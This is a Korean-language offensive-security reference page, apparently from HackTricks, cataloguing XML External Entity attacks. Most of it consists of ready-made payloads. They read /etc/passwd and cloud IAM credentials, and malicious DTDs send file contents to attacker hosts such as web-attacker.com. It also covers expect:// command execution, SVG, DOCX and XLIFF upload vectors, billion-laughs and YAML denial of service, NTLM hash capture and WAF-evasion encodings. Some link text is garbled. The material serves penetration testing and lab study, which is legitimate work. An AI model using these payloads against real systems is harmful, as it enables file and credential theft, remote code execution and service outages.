XXE - XEE - XML External Entity

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

XML Basics

XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, 초기 AJAX 기술에서의 역할은 여전히 중요합니다.

• 데이터 표현을 위한 엔티티: XML의 엔티티는 < 및 >와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 < 및 >에 해당합니다.
• XML 요소 정의: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
• 문서 유형 정의 (DTD): DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.
• 사용자 정의 및 외부 엔티티: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 XML 외부 엔티티(XXE) 공격의 맥락에서 보안 문제를 일으키며, 이는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
• 매개변수 엔티티를 통한 XXE 탐지: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Main attacks

이 공격의 대부분은 훌륭한 Portswiggers XEE 실험실을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe

New Entity test

이 공격에서는 간단한 새로운 ENTITY 선언이 작동하는지 테스트할 것입니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

파일 읽기

다양한 방법으로 /etc/passwd를 읽어보겠습니다. Windows의 경우 C:\windows\system32\drivers\etc\hosts를 읽어보세요.

첫 번째 경우에서 SYSTEM “**file:///**etc/passwd“도 작동한다는 점에 유의하세요.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

이 두 번째 사례는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용해야 합니다 (Portswiggers 실험실의 경우는 아님).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

이 세 번째 경우에서 우리는 Element stockCheck를 ANY로 선언하고 있음을 주목하세요.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

디렉토리 목록

Java 기반 애플리케이션에서는 XXE를 통해 디렉토리의 내용을 나열할 수 있는 가능성이 있으며, 다음과 같은 페이로드를 사용할 수 있습니다 (파일 대신 디렉토리를 요청하는 경우):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

이전에 언급된 기술을 사용하여 서버가 당신이 제어하는 서버에 접근하게 하여 취약성을 보여줄 수 있습니다. 그러나, 만약 그것이 작동하지 않는다면, XML 엔티티가 허용되지 않기 때문일 수 있습니다. 이 경우 XML 파라미터 엔티티를 사용해 볼 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

“Blind” SSRF - Exfiltrate data out-of-band

이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 행 파일의 경우 _ftp://_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 xxe-ftp-server.rb를 사용할 수 있습니다). 이 설명은 Portswiggers lab here를 기반으로 합니다.

주어진 악성 DTD에서는 데이터를 유출하기 위해 일련의 단계가 수행됩니다:

Malicious DTD Example:

구조는 다음과 같습니다:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

이 DTD에 의해 실행되는 단계는 다음과 같습니다:

1. 매개변수 엔티티 정의:

• XML 매개변수 엔티티인 %file이 생성되어 /etc/hostname 파일의 내용을 읽습니다.
• 또 다른 XML 매개변수 엔티티인 %eval이 정의됩니다. 이는 동적으로 새로운 XML 매개변수 엔티티인 %exfiltrate를 선언합니다. %exfiltrate 엔티티는 공격자의 서버에 HTTP 요청을 하도록 설정되며, URL의 쿼리 문자열 내에서 %file 엔티티의 내용을 전달합니다.

2. 엔티티 실행:

• %eval 엔티티가 사용되어 %exfiltrate 엔티티의 동적 선언이 실행됩니다.
• 그 후 %exfiltrate 엔티티가 사용되어 파일의 내용을 포함한 HTTP 요청이 지정된 URL로 전송됩니다.

공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 http://web-attacker.com/malicious.dtd와 같은 URL에서 호스팅합니다.

XXE 페이로드: 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

이 페이로드는 XML 매개변수 엔티티 %xxe를 정의하고 이를 DTD에 통합합니다. XML 파서에 의해 처리될 때, 이 페이로드는 공격자의 서버에서 외부 DTD를 가져옵니다. 그런 다음 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 설명된 단계를 실행하여 /etc/hostname 파일을 공격자의 서버로 유출합니다.

오류 기반(외부 DTD)

이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다(오류 메시지를 볼 수 있는 경우에만 유효합니다). 여기서 예시.

악의적인 외부 문서 유형 정의(DTD)를 사용하여 /etc/passwd 파일의 내용을 드러내는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계로 수행됩니다:

1. /etc/passwd 파일의 내용을 포함하는 file이라는 XML 매개변수 엔티티가 정의됩니다.
2. error라는 또 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함하는 eval이라는 XML 매개변수 엔티티가 정의됩니다. 이 error 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, file 엔티티의 내용을 이름으로 포함합니다.
3. eval 엔티티가 호출되어 error 엔티티의 동적 선언이 이루어집니다.
4. error 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, 파일 이름의 일부로 /etc/passwd 파일의 내용을 포함하는 오류 메시지를 생성합니다.

악의적인 외부 DTD는 다음 XML로 호출될 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

실행 시, 웹 서버의 응답에는 /etc/passwd 파일의 내용을 표시하는 오류 메시지가 포함되어야 합니다.

외부 DTD는 두 번째 eval 내에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).

오류 기반 (시스템 DTD)

그렇다면 아웃 오브 밴드 상호작용이 차단된 경우 블라인드 XXE 취약점은 어떻게 됩니까(외부 연결이 불가능한 경우)?

XML 언어 사양의 허점은 문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용하여 내부 DTD 내에서 발생합니다. 서버에 의해 아웃 오브 밴드 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.

서버의 파일 시스템에 /usr/local/app/schema.dtd에 DTD 파일이 포함되어 있고, custom_entity라는 엔티티를 정의하고 있다고 가정해 보십시오. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 /etc/passwd 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

이 DTD에 의해 설명된 단계가 실행됩니다:

• local_dtd라는 XML 매개변수 엔티티의 정의는 서버의 파일 시스템에 위치한 외부 DTD 파일을 포함합니다.
• 외부 DTD에서 원래 정의된 custom_entity XML 매개변수 엔티티에 대한 재정의가 발생하여 오류 기반 XXE 익스플로잇을 캡슐화합니다. 이 재정의는 구문 오류를 유발하도록 설계되어 /etc/passwd 파일의 내용을 노출합니다.
• local_dtd 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 custom_entity를 포함합니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.

실제 예: GNOME 데스크탑 환경을 사용하는 시스템은 종종 ISOamso라는 엔티티를 포함하는 DTD를 /usr/share/yelp/dtd/docbookx.dtd에 가지고 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다. 이를 위해 서버가 사용하는 동일한 OS / 소프트웨어를 설치하고 기본 DTD를 검색하거나, 시스템 내의 기본 DTD 목록을 가져와서 그 중 어떤 것이 존재하는지 확인할 수 있습니다:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

더 많은 정보는 https://portswigger.net/web-security/xxe/blind에서 확인하세요.

시스템 내 DTD 찾기

다음의 멋진 GitHub 레포지토리에서 시스템에 존재할 수 있는 DTD의 경로를 찾을 수 있습니다:

dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub

게다가, 피해자 시스템의 Docker 이미지가 있다면, 같은 레포지토리의 도구를 사용하여 이미지를 스캔하고 시스템 내에 존재하는 DTD의 경로를 찾을 수 있습니다. 방법을 배우려면 GitHub의 Readme를 읽어보세요.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

이 공격에 대한 더 깊이 있는 설명은 Detectify의 이 놀라운 포스트의 두 번째 섹션을 확인하세요.

Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.

이 취약점을 테스트하기 위해서는 XXE 페이로드를 포함하는 Microsoft Office 파일을 생성해야 합니다. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.

문서가 압축 해제되면 ./unzipped/word/document.xml에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다.

수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.

마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성한 “unzipped” 디렉토리에서 다음 명령을 실행해야 합니다:

이제 생성된 파일을 잠재적으로 취약한 웹 애플리케이션에 업로드할 수 있으며, Burp Collaborator 로그에 요청이 나타나기를 기대할 수 있습니다.

Jar: protocol

jar 프로토콜은 Java 애플리케이션 내에서만 접근할 수 있도록 설계되었습니다. 이는 PKZIP 아카이브(예: .zip, .jar 등) 내에서 파일 접근을 가능하게 하며, 로컬 및 원격 파일 모두를 지원합니다.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Caution

PKZIP 파일 내부의 파일에 접근할 수 있는 것은 시스템 DTD 파일을 통해 XXE를 악용하는 데 매우 유용합니다. 시스템 DTD 파일을 악용하는 방법을 배우려면 이 섹션을 확인하세요.

PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:

1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 https://download.website.com/archive.zip.
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 /tmp/...와 같은 위치에 저장됩니다.
3. 아카이브가 추출되어 그 내용을 접근합니다.
4. 아카이브 내의 특정 파일인 file.zip이 읽힙니다.
5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.

이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. 이 저장소에서 사용할 수 있는 도구로는 Python 서버(slow_http_server.py)와 Java 서버(slowserver.jar)가 있습니다.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Caution

임시 디렉토리에 파일을 작성하는 것은 경로 탐색과 관련된 다른 취약점을 상승시키는 데 도움이 될 수 있습니다 (예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml 공격

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Quadratic Blowup Attack

NTML 얻기

Windows 호스트에서는 responder.py 핸들러를 설정하여 웹 서버 사용자의 NTML 해시를 얻을 수 있습니다:

Responder.py -I eth0 -v

다음 요청을 보내면

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

그런 다음 hashcat을 사용하여 해시를 크랙할 수 있습니다.

숨겨진 XXE 표면

XInclude

서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어는 종종 제한되어 DOCTYPE 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 XInclude 공격은 XML 문서의 모든 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있는 경우에도 효과적입니다.

XInclude 공격을 실행하려면 XInclude 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - 파일 업로드

사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 오피스 문서(DOCX) 및 이미지(SVG)와 같은 일반적인 파일 형식은 XML을 기반으로 합니다.

사용자가 이미지를 업로드할 때, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 서버의 이미지 처리 라이브러리는 SVG 이미지를 지원할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.

아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예시입니다:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

또 다른 방법은 PHP “expect” 래퍼를 통해 명령을 실행하려고 시도하는 것입니다:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 이는 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.

자세한 내용은 https://portswigger.net/web-security/xxe를 확인하세요!

읽기 파일의 첫 번째 줄 또는 실행 결과는 생성된 이미지 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.

PDF - 파일 업로드

다음 게시물을 읽고 PDF 파일을 업로드하여 XXE를 악용하는 방법을 배우세요:

PDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencoded에서 XML로

POST 요청이 XML 형식의 데이터를 수락하는 경우, 해당 요청에서 XXE를 악용할 수 있습니다. 예를 들어, 일반 요청이 다음을 포함하는 경우:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

그럼 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: From JSON to XEE

요청을 변경하려면 “Content Type Converter”라는 Burp Extension을 사용할 수 있습니다. 여기에서 이 예제를 찾을 수 있습니다:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

또 다른 예시는 여기에서 찾을 수 있습니다.

WAF & 보호 우회

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

이것은 XML 서버가 data:// 프로토콜을 수용할 때만 작동합니다.

UTF-7

여기서 [“Encode Recipe” of cyberchef를 사용하실 수 있습니다](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28’UTF-7 %2865000%29’%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)에서](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28’UTF-7 %2865000%29’%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29에서 UTF-7로 변환합니다.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

웹이 PHP를 사용하고 있다면, file:/ 대신 php wrappersphp://filter/convert.base64-encode/resource=를 사용하여 내부 파일에 접근할 수 있습니다.

웹이 Java를 사용하고 있다면 jar: protocol을 확인할 수 있습니다.

HTML Entities

https://github.com/Ambrotd/XXE-Notes에서의 트릭
html entities로 인코딩된 엔티티 안에 엔티티를 생성한 다음, 이를 호출하여 dtd를 로드할 수 있습니다.
사용되는 HTML Entities는 숫자여야 한다는 점에 유의하세요 (예를 들어 [이 예제에서](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,‘Numeric entities’%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD 예:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

추출 index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

외부 리소스 추출

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

원격 코드 실행

PHP “expect” 모듈이 로드된 경우

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

이 예시는 https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe에서 영감을 받았습니다.

XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 현지화 중 도구 간에 지역화 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.

Blind Request Analysis

다음 내용을 포함하여 서버에 요청이 전송됩니다:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

그러나 이 요청은 내부 서버 오류를 발생시키며, 특히 마크업 선언과 관련된 문제를 언급합니다:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

오류에도 불구하고, Burp Collaborator에 히트가 기록되어 외부 엔티티와의 상호작용이 어느 정도 있음을 나타냅니다.

Out of Band Data Exfiltration 데이터를 유출하기 위해 수정된 요청이 전송됩니다:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

이 접근 방식은 User Agent가 Java 1.8의 사용을 나타낸다는 것을 보여줍니다. 이 버전의 Java에서 주목할 만한 제한 사항은 Out of Band 기술을 사용하여 /etc/passwd와 같은 줄 바꿈 문자가 포함된 파일을 검색할 수 없다는 것입니다.

Error-Based Data Exfiltration 이 제한을 극복하기 위해 Error-Based 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구조화되어 대상 파일의 데이터를 포함하는 오류를 유발합니다:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

서버는 오류로 응답하며, 중요하게도 존재하지 않는 파일을 반영하고, 서버가 지정된 파일에 접근하려고 시도하고 있음을 나타냅니다:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

오류 메시지에 파일의 내용을 포함시키기 위해 DTD 파일이 조정됩니다:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

